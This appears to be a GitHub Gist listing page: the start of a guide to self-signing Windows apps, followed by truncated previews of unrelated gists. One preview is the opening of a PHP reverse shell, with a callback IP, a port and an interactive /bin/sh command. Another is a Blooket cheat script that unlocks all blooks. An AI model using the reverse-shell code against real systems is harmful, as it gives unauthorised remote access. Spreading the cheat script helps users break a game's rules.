Skip to content

Instantly share code, notes, and snippets.

Self Sign a Windows Desktop Application with SignTool

Requires PowerShell to be installed on your PC. Will require installing the signtool which is part of Windows SDK. There are 4 major steps.

Step 1) Get your Microsoft Developer Publisher Id

Go to partner.microsoft.com/en-us/dashboard/apps-and-games > Select your app > click Product Identity > Copy the Package/Identity/Publisher value.
It should be formatted something like CN=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX replacing the Xs with hexadecimal characters.

Step 2) Create a self signed certificate

Use the New-SelfSignedCertificate PowerShell cmdlet.

@noobpk
noobpk / reverse-shell.php
Last active March 30, 2026 18:37
Php Reverse Shell
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.12'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
@MangaD
MangaD / protobuf_vs_alternatives.md
Created October 20, 2025 14:51
Comparison of Protocol Buffers (Protobuf) and All Major Serialization Alternatives

📘 Comparison of Protocol Buffers (Protobuf) and All Major Serialization Alternatives

CC0

Disclaimer: ChatGPT generated document.

Below is a single, exhaustive, expert-level comparison of Protocol Buffers (Protobuf) versus all mainstream serialization and data-interchange approaches — including both textual and binary, schema-based and schema-less, auto-generated and manual ones.


@LeaTex
LeaTex / learning_english.md
Last active March 30, 2026 18:31
recursos para aprender inglés de manera autodidacta (desde cero)
@bgauryy
bgauryy / claude_code_tools_cli.md
Created October 17, 2025 13:49
Internal claude code tools implementaion

Claude Code Internal Tools - Technical Reference

Complete technical documentation of Claude Code's internal tools

This document provides comprehensive technical details about Claude Code's internal tools, including parameter schemas, implementation behaviors, and usage patterns.

Claude Sonnet 4.5

Technical Details:

@ayanarshad
ayanarshad / offline_mdn_docs.md
Created January 2, 2025 05:05 — forked from ststeiger/offline_mdn_docs.md
Offline MDN Docs
@erffy
erffy / arch-setup.md
Last active March 30, 2026 18:28
Arch Linux installation (btrfs, dracut, systemd-boot, plasma)
#EXTM3U tvg-url="http://epg.team/tvteam.xml.3.2"
#EXTINF:-1 tvg-id="IL: i24 News" tvg-name="i24 News" tvg-logo="https://upload.wikimedia.org/wikipedia/commons/thumb/6/6e/I24_News_logo.svg/1200px-I24_News_logo.svg.png", i24 News
https://fastly.live.brightcove.com/6386790215112/eu-central-1/5377161796001/eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJob3N0IjoiZXJmajYzLmVncmVzcy53YzQ3bTEiLCJhY2NvdW50X2lkIjoiNTM3NzE2MTc5NjAwMSIsImVobiI6ImZhc3RseS5saXZlLmJyaWdodGNvdmUuY29tIiwiaXNzIjoiYmxpdmUtcGxheWJhY2stc291cmNlLWFwaSIsInN1YiI6InBhdGhtYXB0b2tlbiIsImF1ZCI6WyI1Mzc3MTYxNzk2MDAxIl0sImp0aSI6IjYzODY3OTAyMTUxMTIifQ.8ZawImK7DfcrrXeAT2OVZ62qQJrJiBaoc7Y1DNNq1bg/playlist-hls.m3u8?__nn__=5476555825001&hdnea=st=1771092000~exp=1771095600~acl=/6386790215112/eu-central-1/5377161796001/eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJob3N0IjoiZXJmajYzLmVncmVzcy53YzQ3bTEiLCJhY2NvdW50X2lkIjoiNTM3NzE2MTc5NjAwMSIsImVobiI6ImZhc3RseS5saXZlLmJyaWdodGNvdmUuY29tIiwiaXNzIjoiYmxpdmUtcGxheWJhY2stc291cmNlLWFwaSIsInN1YiI6InBhdGhtYXB0b2tlbiIsImF1ZCI6WyI1Mzc3MT
@trusktr
trusktr / DefaultKeyBinding.dict
Last active March 30, 2026 18:21
My DefaultKeyBinding.dict for Mac OS X
/* ~/Library/KeyBindings/DefaultKeyBinding.Dict
This file remaps the key bindings of a single user on Mac OS X 10.5 to more
closely match default behavior on Windows systems. This makes the Command key
behave like Windows Control key. To use Control instead of Command, either swap
Control and Command in Apple->System Preferences->Keyboard->Modifier Keys...
or replace @ with ^ in this file.
Here is a rough cheatsheet for syntax.
Key Modifiers
@acquitelol
acquitelol / unlock-all-blooks.js
Last active March 30, 2026 18:21
Unlocks every single possible known blook in Blooket. Either run this through a userscript or simply execute in the console while in a game lobby or in your blook dashboard..
async function lazyDefine(callback, condition, maxAttempts = 100, time = 100) {
let attempt = 0;
while (attempt < maxAttempts) {
const result = callback();
if (condition ? condition(result) : result) return result;
await new Promise(res => setTimeout(res, time));
attempt++;